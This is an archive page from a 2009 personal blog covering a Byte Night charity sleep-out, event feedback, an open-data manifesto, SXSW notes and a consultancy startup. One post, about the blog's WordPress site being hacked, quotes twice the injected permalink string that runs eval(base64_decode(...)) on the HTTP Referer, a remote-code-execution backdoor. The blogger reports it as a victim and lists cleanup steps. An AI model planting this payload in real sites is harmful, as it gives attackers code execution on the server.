Archive for the ‘newbie’ Category

Byte Night 09 – the sleepover @ The BALTIC

Tuesday, October 6th, 2009

A write-up of the combined exploits of Byte Night 09 North East.

At last it has arrived!

I have to admit to being a bit apprehensive before the event. I had done some prep – as documented here and here. But I was a bit in the dark about what was happen, so really wanted to get it on.

In addition, the weather forecast seemed v. unpleasant – Heavy rain, 8 degrees, windy. Meh

I happened to be up in Troon, doing a presentation on social media in the morning, so had a three hour drive back yem. That said, it was made more bearable but the utter genius that is Down the Line on the CD player.

The night itself

A bulleted list to save time

  • I arrived at the BALTIC at around 8.15 – there was a good introduction e-mailed in advance by what to expect
  • We registered at the front desk: there were sleepers & their supporters already there and the party was getting started!
  • Free drinks – provided by Codeworks I believe
  • Supper was a decent–looking lasagne, but they did a chicken salad for me (with my funny tummy)
  • I did some mini-interviews – see video below
  • After supper, we had a quiz & some amateur singing
  • When we arrived, outside on the wooden-floored balcony were some large parasols / umbrellas, which have lights and heat lamps underneath.
  • I then used a bit of initiative to find a pitch. I had
    • A big bit of cardboard – well worth it
    • A bed roll – indispensible
    • 3 season sleeping bag
    • Foam cushions as pillow – excellent
    • Fleece hat – again a winner
    • Experience of week before, in tent, was v. useful
  • All in all it was a big party outside – lots of laughter, music etc., for most of the night!
  • I slept from about midnight until 0400
    • Wind started up
    • Did a video recording with David Coxon
  • Went back to sleep & we were woken just after 6
  • Breakfast of bacon butties, sausage baps, tea coffee & orange – winner!
  • Check all the tweets etc. via http://bytenight.osmosoft.com/

Video

Photos

Mine

David Coxon

Paul Keating – Red Boat photography

Wash up

Well done

  • Derek Curtis and the team for organising g
  • Providence for being pretty kind with the weather – it was filthy later in the morning, with rain and high winds
  • David Coxon from the BALTIC for being our host and sorting the A-V side of things
  • Kim Inglis for the MC’ing
  • Codeworks for the free booze
  • Everyone for staying out there and at it!
  • AfC team for organising, St. John Ambulance for attending

Fund-raising

  • Bond Solutions for mega fund-raising – £10k
  • My sponsors – I’m standing at £770 at the time of writing
  • You can still contribute – if you missed out

Beard

My brother kindly said that he would double his donation if I shaved my beard off. So, taking him at his word, I decided to grow it a bit longer than the normal (long) stubble. Avec barbe

So, I thought I would do a before-and-after comparison – terrifying and slightly cringe-making that it is! ;-D

Sans barbe

Update on WP hack

Sunday, September 6th, 2009

Intro

For those of you who follow me via my @souterconsults account, you will have seen me have a paddy on this Friday last. That’s because my WP instance got hacked. Meh :$

So, I thought it would be useful to update anyone interested with a quick run-down, as it sets the scene for any future developments (like a complete re-build: bah).

I’m setting out here:

  • List of tweets, which pretty much explain what happened
  • Brief notes of more detail
  • Other links, if they’re not in the first two sections
  • Actions. Bah

Tweets

  1. argh, wanting to publish my Cloud vids from YouTube, but WP is putting %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ on URL 3:15 PM Sep 4th from twhirl
  2. http://twurl.nl/06n2fh explains – I’m trying to find the malicious code asap :’( 3:42 PM Sep 4th from twhirl
  3. ok, I’ve switched off the navigation on the site & parked links to comments, archive, & recent posts to help avoid people getting borked 4:02 PM Sep 4th from twhirl
  4. Site back in action: WP Permalink config restored -http://twurl.nl/ddfchd fyi ‘Hardening Wordpress’ http://twurl.nl/ih81jk 5:09 PM Sep 4th from twhirl
  5. just blogged: Cloud Computing – YouTube videos http://twurl.nl/g38ukl 5:23 PM Sep 4th from twitterfeed
  6. Links for WP hack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ again – http://twurl.nl/5qclh3 & http://twurl.nl/d55o4c 5:39 PM Sep 4th from twhirl

Notes

  1. Was posting about YouTube videos on Cloud Computing
  2. Copying and pasting the URL into Twhirl to send out on Twitter
  3. Noticed there was a whole string of characters after the ‘proper’ URL
  4. Deleted post
  5. Republished
  6. It was still there
  7. Copied the string and Googled it
  8. Found “[resolved] NASTY CODE hacks onto your domain. FIX included.” #2 in ‘Tweets’
  9. Went on from there & blogged original post…

Looking at my install:

  • The plugin options table seems to have disappeared [although this may not be a bad thing – I should check the WP changelog…]
  • WP pages seem clean at the mo’

Various links

Worthwhile checking out

Actions

  • Need to do several more, more detailed trawls through my WP install
  • Probably need to do a rebuild (from scratch, preferably). Meh
  • Enabled various plugins, e.g. Login LockedDown, but Maintenance Mode didn’t work :-(

A shot across the bows, hopefully not much more (fingers tightly crossed).

[UPDATE: fyi I believe I was on WP v2.8.0 when I was hacked. Latest version at the time of writing is 2.8.4.

Please help me raise money for Action for Children #bytenight

Monday, August 10th, 2009

BN09_Newcastle_esignature I’ve decided to take part in Byte Night, a rather good Tech Industry fund-raiser, probably because I’ve seen photos of Jenny Agutter in Computing each year, and think it might be a good laugh.

Speak it softly, but I’m sort of looking forward to donning a whole load of technical gear, as my interest in tech is not confining to IT! ;-D

The blurb from the AfC flyer for Newcastle reads:

"Each year, over 500 people from the IT and business community give up their bed for one night to experience a little of what it might be like to be homeless.

The money they raise helps Action for Children tackle the root causes of youth homelessness and gets thousands of children and young people off the streets and into secure accommodation with education and training opportunities.

Each year, at least 75,000 children and young people experience homelessness*; 1 in 3 attempt suicide† and 1 in 7 young runaways are physically or sexually assaulted (this figure rises to almost 1 in 2 after a week‡).

Byte Night is a unique event that takes place across the UK. In 2008, it raised £470,000. Now in its 11th year, it is one of the single biggest fundraisers for Action for Children.

Your support of Byte Night is vital to ensuring it continues to support the thousands of vulnerable young people Action for Children work with each year.

Byte Night sleepers range from systems developers to CIOs and business managers to marketers who regularly return each year for a rewarding and memorable experience."

I’m sure you’ll agree that this is an excellent cause, so "Do it, Do it – Do it now!"

Boilerplate from Just Giving, to put your mind at rest:

"Donating through JustGiving is simple, fast and totally secure. Your details are safe with JustGiving – they’ll never sell them on or send unwanted emails. Once you donate, they’ll send your money directly to the charity and make sure Gift Aid is reclaimed on every eligible donation by a UK taxpayer. So it’s the most efficient way to donate – I raise more, whilst saving time and cutting costs for the charity."

Thanks for reading and hope you feel you can contribute to Action for Children.

UPDATE 29/8:

  • For some reason, an html tag <p style="display: none"> had sneaked into this post, so there appeared to be no content. Hopefully you can see this now… :$
  • Also, the Byte Night website seems to be down / being worked on, so will keep you posted.

Digital Transport event feedback

Thursday, July 9th, 2009

I recently helped organise the “Where do you think You’re going” event that was held by Newcastle University at Hoults Yard. This post is a quick bulleted list of my feedback, and also a highlight of material from James Burke.

Thoughts

  • Content
    • Eclectic and genuinely thought-provoking
    • Presenters were clearly experts in their fields [well, from my lay perspective!]
    • Forward looking and thinking differently, not just extending ‘today’
  • Organisation
    • Teamwork – well done Hannah for pulling it off (and various others…)
    • Online as much as offline – see this post for the WDYTYG social media strategy
    • Before, during & after = important to follow up afterwards
  • The Day itself
    • Good grub via the ‘pyromaniacs lunch’, aka a barbecue ;-)
    • Good chairing & summarising by Eric Sampson and Jenni Borg
    • The venue worked well at Hoults Yard

James Burke presentation

I thought James was right on the money with this presentation, which probably isn’t as good as it was in the flesh:

I’ve also looked up the following elements from James’ presentation, which were particularly strong:

Conversation Prism

The Conversation Prism by Brian Solis and Jesse Thomas

Video

This is by Dr. Michael Wesch and his team at Kansas State University. If you’ve ever struggled to explain the difference between HTML and XML, your prayers have been answered!

Barcamp North East 2 feedback #bcne2

Friday, June 5th, 2009

This post is about my experience at the Barcamp held immediately after Thinking Digital, at the Centurion Bar in central Newcastle upon Tyne.

I didn’t know what to expect from the day, but I thought it would be interesting to go along and test-drive the whole experience.

I had a nebulous idea that Barcamps were a technical-person’s meet-up, and how wrong I was. Not that most weren’t technologists of some sort, but more that I became a barcamper myself – because of the atmosphere and approach prevalent throughout the day.

Cloud Computing preso

I thought I should get stuck in quickly, so delivered by Cloud Computing intro from Cloudcamp the other day:

I’m glad I was reasonably interactive & open, as my audience were respectful & very willing to give feedback, being knowledgeable about the subject – e.g. Ian Forrester and The Hodge.

Locked-In Syndrome Preso

I also put together the following presentation, on the day, about Locked-In syndrome:

I was chatting at the beginning of the day to Oli from bgroup, and thought maybe I could pitch my ideas to the audience, who were mainly software developers and / or web designers. fyi more info on the background is available from my personal Blog, Wellbanked.

I got some great feedback. I’m quoting it here pretty much verbatim, as I need to get this post posted! ;-)

  • Alex & Juliette Lewis – um, not sure about the context of this
  • Engineering and Physical Sciences Research Council (EPSRC) – I think these are folk who could give money to fund some further research
  • Maybe some better software for the My Tobii?
  • What about magic glasses – gsma 08 in barcelona. Was this about Mobintech by any chance?
  • EmmaPersky – “Head Tracking for Virtual Reality without a Wiimote” 

Wash up

I left around teatime, with a buzz from the day. So, having not known what to expect, and having spent the day in the illustrious company of some folk I came to like and respect in equal measure.

I see that Herb Kim went along and was also very impressed:

@alistair thank you again for doing a great job of pulling BarCamp NorthEast 2 together. I really enjoyed it! #bcne2

So, on those positive notes, I take me leave for now. :-D

Manifesto: UK Public Sector data should be set free

Wednesday, May 27th, 2009

[UPDATE Jan 2010: Check out ‘Public Launch’ a post about the launch of data.gov.uk. Data sets & mashups ahoy – w00t!]

This post is a synthesis of various ideas which have come together now that Data.gov is live.

In turn, I would like to see data held by UK Public Sector organisations be freed up for others to create value.

This post has been lurking for a few weeks, so I thought I should post it before anything else happened[!].

data deluge

Photo credit to Will Lion

Background

I first got interested in this area when I learned about XML, and Microsoft BizTalk emerged at the beginning of the Naughties. These two tools promised to allow more effective data interchange between incompatible data sources. XML describes what the data actually *is*, but how it should be formatted (as per HTML).

Looking back through my archives, I managed to find a presentation about XML & Web Services delivered to some colleagues in ICL / Fujitsu back in 2002 , and another in 2003 about how Web Services might change the IT market. The material I used from Ovum, a tech industry analyst, was remarkably prescient (see this story on Silicon.com).

Mashups

I guess my thinking in this area was rekindled whilst I was reading Wikinomics, and specifically when the Authors discuss an online tool called Scorecard which offers to give you:

[…] an in-depth pollution report for your county, covering air, water, chemicals, and more. [in the USA]

Scorecard is a mash-up, i.e. it takes a number of different sources of U.S. environmental data and mashes them up into something else – in this case, as consolidated pollution report.Wikipedia defines a mashup as:

a web application that combines data and/or functionality from more than one source

Mashups are effectively a more groovy form of middleware [if that makes more sense for you], i.e. a piece of software that sits between incompatible applications or data sources and allows them to talk with one another [cue techie pedantry ;-)].

So, that was the start. I played and poked around with mashup tools like:

  • Microsoft Popfly (visual interface, more straightforward for a techie bluffer like me)
  • Yahoo! Pipes (rather natty interface, but a bit techie for doofus here)

[I think it’s worth saying that my interest is primarily how these tools can be used for business advantage, and to enable organisational agility.]

However, my interest essentially went dormant for a while. I then discovered and had a little play with Serena Business Mashups, and also checked out the fine blog at JackBe.

So far, so good.

APIs

You might have read that I attended SXSW. Whilst there [in my own words], “I died and went to mashup heaven” when I met Kirsten and Oren from Mashery. Mashery creates tools that help expose an organisation’s data to the outside world, using an application programming interface (API).

Based on data exposed through these APIs, one can then mash the data into more meaningful forms. Housingmaps.com is a classic example, where Craigslist is combined with Google Maps.

<phew> Which brings me to the nub of this piece [get on with it! – Ed.]

Data.gov

My overarching contention is that the UK should imitate the newly-introduced Data.gov, by implementing the same thing over here. It was introduced thus:

Democratizing Data

OMB Director Peter Orszag drops by to introduce us to what will be a key milestone in government transparency:
Today, I’m pleased to announce that the Federal CIO Council is launching Data.gov. Created as part of the President’s commitment to open government and democratizing information, Data.gov will open up the workings of government by making economic, healthcare, environmental, and other government information available on a single website, allowing the public to access raw data and transform it in innovative ways.

Such data are currently fragmented across multiple sites and formats—making them hard to use and even harder to access in the first place. Data.gov will change this, by creating a one-stop shop for free access to data generated across all federal agencies. The Data.gov catalog will allow the American people to find, use, and repackage data held and generated by the government, which we hope will result in citizen feedback and new ideas.

Data.gov will also help government agencies—so that taxpayer dollars get spent more wisely and efficiently. Through live data feeds, agencies will have the ability to easily access data both internally and externally from other agencies, which will allow them to maintain higher levels of performance. In the months and years ahead, our goal is to continuously improve and update Data.gov with a wide variety of available datasets and easy-to-use tools based on public feedback and as we modernize legacy systems over time.

Democratizing government data will help change how government operates—and give citizens the ability to participate in making government services more effective, accessible, and transparent.

Also worth quoting Jake Brewer writing at the Huffington Post:

Sometimes the geekiest stuff is the most important. When it comes to creating a more transparent and accountable government, Thursday, May 21, is one of those sometimes.

On this beautiful morning, our nation’s citizenry received one of the greatest gifts it could receive from its government: raw, freely and easily accessible data.

Mmmmm… data.

New federal CIO Vivek Kundra and the Obama Administration have officially launched Data.gov, which is the first-ever catalog of federal data being made freely (and easily) available to citizens.

Now, it’s unlikely the description of Data.gov will send chills down the spine of anyone who doesn’t speak Ruby or Python or MYSQL, and if you visit the site, it’s unlikely you’ll be struck or know to be impressed by what’s there. But if you step back and take a minute to understand what you’re looking at, you’ll realize we’ve just taken an unprecedented first step into the Era of Big Open Government.

When information and process become free and participatory, markets get created (think about weather data), more people engage more deeply with their government (see: Obama’s online townhall), and ultimately, people care more about what their government does and how it serves them. …it’s nearly impossible for people to know more about what’s going on and care less.

Transparency is at the heart of destroying apathy.

The key with this new data, though, is that we do something with it. While opening up data is a beautiful thing in its own right, what will make this release truly great is when citizens actually take the information and create new, brilliant applications.

That’s why Sunlight Labs in partnership with Google, O’Reilly Media, and Craig Newmark of Craigslist has simultaneously launched a contest with $25,000 in awards to incentivize the creation of said brilliance.

Apps for America 2: The Data.gov Challenge

This is a wonderful, one-time opportunity to show the administration the good that follows when they make information free. So we need to seize it. And everyone’s help in getting the word out is key — whether you’re a developer, someone who knows developers to share this with, or someone who simply writes and talks to others.

At the end of the day, the more great entries the Apps for America contest receives, the more likely government is to release more data — and the more data government releases the more transparent, accountable, and efficient it can be.

Open, free, raw information — true Transparency — makes government work the way it’s supposed to (for you).

So let’s get on this. Geeks, wonks and active citizens alike.

btw, check out this fab wiki from Wired on Data.gov.

UK Public Sector data should be set free

Impetus in the UK has been inspired by this truly excellent article from the Guardian “Give us back our crown jewels”, which is summarised thus:

Our taxes fund the collection of public data – yet we pay again to access it. Make the data freely available to stimulate innovation, argue Charles Arthur and Michael Cross [of The Guardian]

So, the central idea that these sterling folk have been advocating has been vindicated & shown to work by our good friends on the other side of the Pond.

How it could happen

I was lucky enough to sit next to Stuart Dempster at the Thinking Digital dinner on the Thursday night. I bounced my wacky ideas off him, and although not saying they would work, he felt there was an possibility for them to do so.

So I was thinking that in the UK Public Sector, and based on my (admittedly dated) knowldge of Government IT, an ‘aunt sally’ might be:

Where the money might come from for this is, of course, very sketchy!

btw, checking out the various US pages on Data.gov, it got to wondering whether we we need our own CIO? Or do we already have one?

Tidy up

So, if you’re read this far – *many* thanks! I realise this has been a bit of a discursive ramble, so suggestions please about how best to tidy it up. I’ve now got to the stage where I need to publish (or die writing it!).

I’d like to draw your attention of a couple of other interesting links:

  • Christopher Chantrill’s UK Public Spending.co.uk – seemingly a mine of data about [yes] UK Public Spending.
    • Unfortunately, the data are only available via the website, or in downloadable form
    • So, perhaps he needs help with making them mashable?
  • Hans Rosling’s Gapminder Foundation
    • Whilst attending Thinking Digital recently, I was lucky enough to be able to ask him about whether he thought each Public Sector body should have an API, or should the data be collected in a central place – as per Data.gov.
    • Hans responded by saying that he thought it best to be collected in one place

And a couple of other ideas:

  • Perhaps we need to have a “Freedom of Data” act, to help establish ‘data.gov.uk’?
  • Also, that “The Revolution will be visualised”, e.g. this from The Guardian re MPs’ expenses
    • My love of visualisation goes back to the days when I was working with search & retrieval technologies, to go *inside* organisations…

UPDATE:

I saw this quote about Cyberspace and thought it relevant to visualisation:

The word "cyberspace" (from cybernetics and space) was coined by science fiction novelist and seminal cyberpunk author William Gibson in his 1982 story "Burning Chrome" and popularized by his 1984 novel Neuromancer.[3] The portion of Neuromancer cited in this respect is usually the following:[4]

Cyberspace. A consensual hallucination experienced daily by billions of legitimate operators, in every nation, by children being taught mathematical concepts… A graphic representation of data abstracted from banks of every computer in the human system. Unthinkable complexity. Lines of light ranged in the nonspace of the mind, clusters and constellations of data. Like city lights, receding.

I’ve read and enjoyed Gibson’s Sprawl Trilogy, also Snow Crash, and am presently loving Down & Out in the Magic Kingdom. I find it useful to go back to the inspiration behind many present-day innovations by reading the ‘source material’.

Over and out!

My views & feedback on SXSW

Tuesday, April 14th, 2009

This post sets out my observations of the South by South West (SXSW) interactive festival (http://sxsw.com/interactive), in March 2009.

I attended as Ambassador to Thinking Digital (http://thinkingdigital.co.uk/).

Reflections

  • IMG00163-20090316-0756Overall, it was a fantastic experience, not overwhelming
  • I don’t tend to overdo things, so didn’t "burn the candle at both ends" too much!
  • I found it a validating / affirmative experience, but that’s because I’m a practitioner and interested in the technologies, the people side of them and their future possibilities.
  • The types of folk who were there were on a pretty similar wavelength to me, there were very few suits
  • I tried to make it a collaborative experience
    • Live-blogging the sessions
    • Tweeting from the States
  • Remember to take your photo ID when you go to a bar, I’m nearing 40 and was refused entry without it – bah!
  • Also, remember your SXSW badge to get into events
  • Twitter was a key tool to stay in touch with other people and with what was happening
  • My.sxsw.com was a useful tool to work out a draft schedule, there was also a tool called the Sched, which seemed to offer greater functionality & integration with iPhone.
  • Herb Kim made a [remote] introduction to Alan Patrick – a fascinating bloke!
  • It was a fairly relentless few days. Key things are to eat & drink enough, don’t "rawk" things too much as your body will give in!
    • Also useful knowing where the nearest restaurant / cafe is – for instance, I should have made more of the cafe in the Convention Center.
  • I swapped business cards with as many people as I could. I’ve had the cards scanned by Cloud Contacts, and will be e-mailing those I met.
  • IMG00130-20090313-1029Austin is a "pretty progressive place", although the Civil War memorial in my Flickr stream might suggest otherwise!
  • http://sxsw.com/marketing gives the low-down on how to use SXSW for marketing purposes
  • SXSW is also a film & music festival, although the Interactive bit was key for Thinking Digital / Codeworks. That said, there were other people going out to SXSW from the North East – I think for the Music festival.
    • Maybe there’s an opportunity to round them up to get some further feedback & learn for next year?

Thoughts

Travel

  • Flight to London & stayed at Heathrow
  • Flew out to Dallas Fort Worth airport, then connection on to Austin, TX
  • Took Supershuttle from AUS to downtown Austin – good service & good value; also good way of starting to meet people
  • Journey back retraced my steps, without the stay at Heathrow

Gaming

IMG00134-20090313-1205Good gaming ideas to find out about:

Digital Mission

Digital Mission “is organised by Chinwag for UK Trade & Investment, enabling digital companies to expand into overseas markets and attract investment outside the UK.”

I’m not sure I met *everyone* on the Digital Mission (DM), but I gave it my best shot!

Chinwag seemed to be doing a good job, there was a lot of goodwill for Sam, Emily & the gang

I attended virtually everything that Chinwag put on, spent a lot of time with the DM folks – having lunch, supper, breakfast, sessions etc.

Having a base & bunch of people I already knew was really helpful. Downside was a I probably didn’t meet as many random people

Online tools: photos, posts, links

Tuttle was everywhere! ;-)

Tuttle was everywhere! ;-)

Other Reviews of SXSW

UPDATE: You’re a Tiger!

Thanks to Benjamin Ellis for this photo!

Outer

Photo credit to Benjamin Ellis

SXSW preparations

Sunday, March 8th, 2009

A post reflecting pretty much what it says in the title -  I’m trying to get my ducks in a row for SXSWi.

Key things have been:

  • Deciding what to pack
  • Getting the logistics sorted
  • Working out what I’ll be doing when I get there
  • Doing my best to fit in with Digital Mission
  • Sorting out my gadgets

Packing

Some useful links:

Although I shouldn’t pack too much as I may not have a chance to wear it, I’m taking a fair bit anyway. Also, although the weather can get into the 70’s, it can rain, so taking a brolly & waterproof top. The weather forecast seems pretty pants for Friday, Saturday, & Sunday. :-(

Digital Mission

I’m planning to hook up with Digital Mission whilst I’m in Texas: Sam Michel of Chinwag (the DM organisers) has put a useful guide together.

There’s apparently a crowd of 100 or Brits out there, so should be a good chance to make new connections! :-D

Standard stuff I’ve got to take:

  • passport
  • visa into the States
  • Phone

Tools

I’m hoping to do some live blogging using CoverItLive, but it may turn out to be completely impractical for reasons of battery life, wireless coverage, being hung over – that sort of thing.

Blackberry

I’m also using Worldmate live, to track my itinerary on my blackberry. Vodafone have kindly helped me unlock my bb for use in the States, so I need to buy a PAYG sim card when I arrive.

Cameras

Hopefully my bag of tricks should capture a whole load:

  • Venerable FujiFilm camera
  • Sony video camera
  • Blackberry camera

Logistics

Leeanne at Codeworks has kindly been sorting out the logistics:

  • Out
    • I fly down to Heathrow tomorrow lunchtime via BA and stay at the Hilton (useful Hhonors points!)
    • Then fly at 0855 to Dallas Fort Worth on the 12th, and a connecting flight to Austin
    • I arrive around 5.40pm, and have organised a SuperShuttle ride into downtown Austin
  • There
    • Am staying at the Hilton Austin, right next to the Convention Center :-D
  • Back
    • Taking the SuperShuttle from the Hilton just after 1400 on the 18th, if anyone’s interested
    • Back via Dallas to Heathrow and Newcastle – arriving at lunchtime on the 19th, fingers crossed!

Online

I will be available online where bandwidth allows:

That’s about it for now – otherwise I won’t get packed… :-s

SCL: Ready for business!

Monday, January 26th, 2009

If you’re thinking of getting in contact with SCL, I thought it would be helpful to set out where Souter Consulting Limited has got to:

  • SCL formally established on 16th December 2008
  • Public liability & personal insurance now in place
  • Bank account etc. now set up and running
  • Marketing
  • Collateral
    • Case Studies as per the website
    • A proposal and work breakdown structure that can be re-used in a number of different settings
  • To do
    • Complete the work I’m doing with Digital City Business on my business plan
    • Get my sales strategy sorted out, including
      • Being more focused on the customer
      • Package up what I can do so people can buy them / buy into them
    • Marketing
      • Sort out my elevator pitch etc.
      • SCL presentation, so that it’s about solving Customer problems.
    • References
    • And so much more [sounds like a 1980’s advert – Ed.]

I’ve also been investigating some pro bono work to assist some non-profit organisations and generate some happy customers — and thereby reference material!

STOP PRESS: Over the weekend I have contributed to a bid — my part being how the solution might involve online collaboration. The wheels begin to turn! :-)

 

Open for business

Photo credit to mhofstrand

SCL Business Plan progress

Thursday, January 15th, 2009

Business Plan in a Day book

Photo credit to Raymond Yee

Quick post regarding the business plan for Souter Consulting Limited:

  • I put together a document with my thoughts about how to proceed, immediately on leaving Fujitsu Services
  • Was advised to get in touch with Business Link by Matthew Rippon
    • To get assistance with business start up
    • To get funding for key activities
  • Did so – am based in Northumberland, so am looked after my the relevant team
  • So far, useful assistance
  • Business Link require anyone needing financial assistance to first complete a Business Plan
    • This then gets vetted by BL, and depending on what they think, financing may be available
  • I gave this a first stab, drafting a document based on the template they provided
  • There is also a pot of cash potentially available for those needing help with writing the Business Plans
    • I have been awarded this pot,
  • Getting assistance from Digital City Business on Teesside
    • This includes market analysis
    • Sales packaging of what SCL can offer
    • Next steps & focus on running a successful business
    • Experience with DCB seems pretty good so far – they seem to have thoughts about the longer-term success of SCL, which is refreshing.
  • It needs to be finished by the end of January ‘09

It’s turning out to be a really useful exercise so far. However, the key thing is to win some billable work!